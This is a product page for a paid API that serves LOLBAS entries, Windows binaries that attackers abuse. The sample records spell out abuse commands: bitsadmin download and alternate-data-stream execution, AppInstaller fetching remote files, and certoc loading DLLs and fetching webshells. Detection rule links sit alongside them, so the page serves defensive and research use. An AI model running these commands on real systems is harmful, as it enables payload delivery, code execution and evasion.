LOLBAS Living-off-the-Land Binaries API

Windows binaries, scripts and libraries that attackers abuse, from the LOLBAS project: name, what it is, how many abuse commands it has, ATT&CK technique ids, command categories, detection links and references.

$0.50 per 1,000 records

You pay only for the records you get. Zero records cost zero. 10,000 free records of this API to start (5,000 at the base price of $1 per 1,000), no card.

Try it
Ready-made, maintained by usRecords, 10 fieldsv1.0

Data from lolbas-project.github.io

Get this data

Try it here with a few records, download the sample, fill a Google Sheet, or call it from your own code.

Try it

Searchoptional
Words that must all appear in the binary name, its description or its command descriptions.
Example: certutil
Mitre IDoptional
Only entries with a command under this MITRE ATT&CK technique id, such as T1105. A parent id also covers its sub-techniques.
Example: T1105

Run it on this page, or call it from your code with the endpoint in the developer section. A free key covers 10,000 records of this API, no card. Create a free key

For developers: the API and MCPThe endpoint, code in curl, JavaScript and Python, every input, and files for your tools
Endpoint
POSThttps://pullrow.dev/v1/apis/lolbas-entries/run
  • Small runs answer in the same request; longer ones answer 202 with a run to poll.
  • fields returns only the fields you name. The examples send the ones picked on this page.
  • Idempotency-Key is optional. A retry with it is never charged twice.
  • You pay for records returned. Zero records cost zero.

Every run option, explained

Calling it needs a key
10,000 free records of this API to start. No card.
curl
curl -X POST "https://pullrow.dev/v1/apis/lolbas-entries/run" \
  -H "Authorization: Bearer $PULLROW_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"input":{"search":"certutil"},"max_items":50}'

Inputs

Send them as input in the request body. Leave one out to use its default.

searchtext
Words that must all appear in the binary name, its description or its command descriptions.
example: certutil
mitre_idtext
Only entries with a command under this MITRE ATT&CK technique id, such as T1105. A parent id also covers its sub-techniques.
example: T1105

What's in each record

10 fields: 9 here, 1 technical one under Technical details.

Basics

  • Name

    File name of the binary, script or library.

    Example AppInstaller.exe

  • Description

    What the file normally does.

    Example Tool used for installation of AppX/MSIX applications on Windows 10

  • Command count

    Number of abuse commands listed.

    Example 1

  • Commands

    Up to 5 abuse commands, each with command, use case, category and technique id.

    Example 1 item: {}

  • Categories

    Kinds of abuse listed, such as Execute or Download.

    Example Download

  • Detection links

    Links to detection rules such as Sigma.

    Example https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lol…

  • Resource links

    Links to write-ups and references.

    Example https://twitter.com/notwhickey/status/1333900137232523264

Dates

  • Created date

    Day the entry was added.

    Example Dec 2, 2020

Technical detailsField names and types for developers, and the 1 field hidden above

Hidden by default

This field comes with each record too. It is an internal code, a note about how the record was read or a copy of what was searched for, so the lists above leave it out.

  • Mitre IDs mitre_idsMITRE ATT&CK technique ids of the commands.

Field names and types

The names your code reads in each record. "Filled" counts how many of the 3 sample records carry the field.

Field nameTypeShown on this page asFilled
nametextName3 of 3
urllinkLink3 of 3
descriptiontextDescription3 of 3
created_datedateCreated date3 of 3
command_countnumberCommand count3 of 3
commandslistCommands3 of 3
categorieslistCategories3 of 3
mitre_idslistMitre IDs (hidden)3 of 3
detection_urlslistDetection links3 of 3
resource_urlslistResource links3 of 3

How it reads the site

Runs on a reader we built and maintain by hand for this site.

Sample records

Sample records
RecordNameDescriptionCommand countCommandsCategoriesDetection linksResource linksCreated dateLink
1AppInstaller.exeTool used for installation of AppX/MSIX applications on Windows 1011 item: Command: start ms-appinstaller://?source={REMOTEURL:.exe} · Use case: Download file from Internet · Category: DownloadDownloadhttps://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.ymlhttps://twitter.com/notwhickey/status/1333900137232523264Dec 2, 2020lolbas-project.github.io/lolbas/Binaries/AppInstaller/
2Bitsadmin.exeUsed for managing background intelligent transfer44 items: Command: bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1 · Use case: Performs execution of specified file in the alternate data stream, can be used as a defensive evasion or persistence technique. · Category: ADS | Command: bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 · Use case: Download file from Internet · Category: DownloadADS, Download, Copy, Executehttps://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml, https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_tld.yml, https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_bitsadmin_potential_persistence.yml, https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/bitsadmin_download_file.ymlhttps://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679, https://www.youtube.com/watch?v=_8xJaaQlpBo, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f, https://www.soc-labs.top/en/detections/100May 25, 2018lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
3CertOC.exeUsed for installing certificates22 items: Command: certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll} · Use case: Execute code within DLL file · Category: Execute | Command: certoc.exe -GetCACAPS {REMOTEURL:.ps1} · Use case: Download scripts, webshells etc. · Category: DownloadExecute, Downloadhttps://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.ymlhttps://twitter.com/sblmsrsn/status/1445758411803480072?s=20, https://twitter.com/sblmsrsn/status/1452941226198671363?s=20Oct 7, 2021lolbas-project.github.io/lolbas/Binaries/Certoc/

Sample records from the example output this API publishes. Email addresses and phone numbers in them are masked. Hover over a column name to see the field name your code reads.

Reliability

Counted from real runs. Our own health checks are left out. A run succeeded when it finished and the site neither blocked it nor broke it.

Incidents and repairs

How it is kept working What a repair can't do

A ready-made API, maintained by us. It is not part of the daily check or the automatic rebuild yet.

  • You pay only for records returned. A run that returns none costs nothing.
Known limits
  • The project lists a few hundred entries in total, so one run never returns more than that.
  • The whole list is read in one request and filtered by search and technique id.
  • Only the first 5 commands of each entry are included in commands, cut to 300 characters each; command_count gives the full number.
  • Detection and resource links are the ones the project lists; many entries have none of one kind.
  • The author credit the project gives is not included.
  • The list changes when contributors add or edit entries on GitHub.
  • Open project data. Not affiliated with or endorsed by the LOLBAS project.

Version history

A run uses the live version unless the request names another one with version.